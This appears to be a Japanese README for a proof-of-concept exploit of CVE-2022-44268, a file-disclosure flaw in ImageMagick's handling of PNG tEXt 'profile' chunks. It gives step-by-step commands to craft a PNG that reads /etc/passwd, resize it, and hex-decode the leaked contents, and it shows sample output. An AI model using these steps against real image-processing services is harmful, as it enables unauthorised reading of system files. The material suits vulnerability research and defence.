
このリポジトリには、広く使用されているオープンソースの画像操作ライブラリ ImageMagick (v. 7.1.0-49) における脆弱性の概念実証 (POC) が含まれています。この脆弱性により、ImageMagick が PNG ファイルを解析する際に、攻撃者が任意のファイルの内容をリサイズ後の画像に埋め込むことが可能になります。
ImageMagick が PNG ファイルに対してリサイズなどの操作を実行する際、magick バイナリに読み取り権限があれば、システムファイルの内容が含まれる可能性があります。この脆弱性は、PNG ファイル内のテキストチャンクの誤った処理に起因します。
悪意のある攻撃者は、PNG ファイルを作成するか既存のファイルを使用し、テキストチャンクタイプ (tEXt) を追加することでこの脆弱性を悪用できます。これらのチャンクはキーワードとテキスト文字列で構成されます。この場合、キーワードが「"profile"」(引用符なし) に一致すると、ImageMagick は付随するテキスト文字列をファイル名として解釈し、その内容を raw プロファイルとして読み込もうとします。その結果、リサイズされた画像がダウンロードされると、攻撃者が指定したリモートファイルの内容が含まれることになります。
詳細については、MetabaseQ のこの記事 を参照してください。
Imagemagick を悪用するには、悪意のある png を生成します:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
次に、convert でリサイズ操作を実行します:
convert output.png -resize 50% leak.png
最後に、leak.png を検査し、Raw profile を16進数に変換します:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
注: この POC は教育および情報提供のみを目的としています。システム上でこの POC をテストまたは使用する前に、適切な権限と法的許可があることを確認してください。